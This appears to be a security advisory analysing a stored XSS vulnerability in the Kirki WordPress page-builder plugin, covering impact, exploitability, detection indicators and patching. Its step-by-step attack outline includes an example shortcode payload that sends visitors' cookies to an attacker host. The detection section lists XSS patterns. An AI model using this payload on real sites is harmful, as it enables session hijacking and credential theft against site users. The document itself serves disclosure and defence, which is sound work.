CVE-2026-16974: 
WordPress vulnerability analysis and mitigation

CVE-2026-16974 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress, developed by Themeum. The flaw affects all versions up to and including 6.2.0 and stems from insufficient input sanitization and output escaping in the post_meta shortcode. It was published on August 11, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The vulnerability exists because the post_meta shortcode in the Kirki plugin fails to properly sanitize user-supplied input or escape output before rendering it in web pages. An authenticated attacker with at least Contributor-level access can embed malicious JavaScript within a post or page using the vulnerable shortcode; the script then executes in the browser of any visitor who loads the affected page. No complex preconditions or user interaction beyond page access are required for the payload to trigger (GitHub Advisory, Wordfence).

Successful exploitation allows an authenticated contributor to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors. This can lead to session hijacking, credential theft, malware distribution to site visitors, or defacement of site content. The scope is changed (S:C in CVSS), meaning the injected script can affect resources beyond the plugin itself, including the browsers and sessions of site administrators and end users (GitHub Advisory, Wordfence).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Wordfence). The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.156%, indicating a low near-term probability of exploitation. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running the Kirki – Freeform Page Builder plugin at version 6.2.0 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a [post_meta] shortcode with a malicious JavaScript payload embedded in an unsanitized parameter, e.g., [post_meta key="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Submit or publish the post/page containing the injected shortcode. The malicious script is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or REST API endpoints containing post_meta shortcode content with script tags or encoded JavaScript payloads.
• Database: WordPress wp_posts or wp_postmeta tables containing entries with <script>, javascript:, onerror=, or other XSS patterns within shortcode content authored by Contributor-level accounts.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the Kirki post_meta shortcode, potentially indicating cookie exfiltration or redirects.
• File System: Review plugin files in wp-content/plugins/kirki/ for unauthorized modifications, though stored XSS typically does not require file-level changes.

Update the Kirki – Freeform Page Builder, Website Builder & Customizer plugin to a version newer than 6.2.0 immediately, as a patch was released on August 11, 2026 (changeset 3636487) (WordPress Trac). As an interim measure, restrict Contributor-level access to only fully trusted users and audit existing posts and pages for suspicious post_meta shortcode content. Implementing Content Security Policy (CSP) headers can reduce the impact of any successful XSS injection by limiting script execution sources (Wordfence).

The vulnerability was assigned and disclosed by Wordfence, a leading WordPress security firm, which published details in its threat intelligence database (Wordfence). No significant broader media coverage or notable researcher commentary beyond the standard advisory has been identified at this time.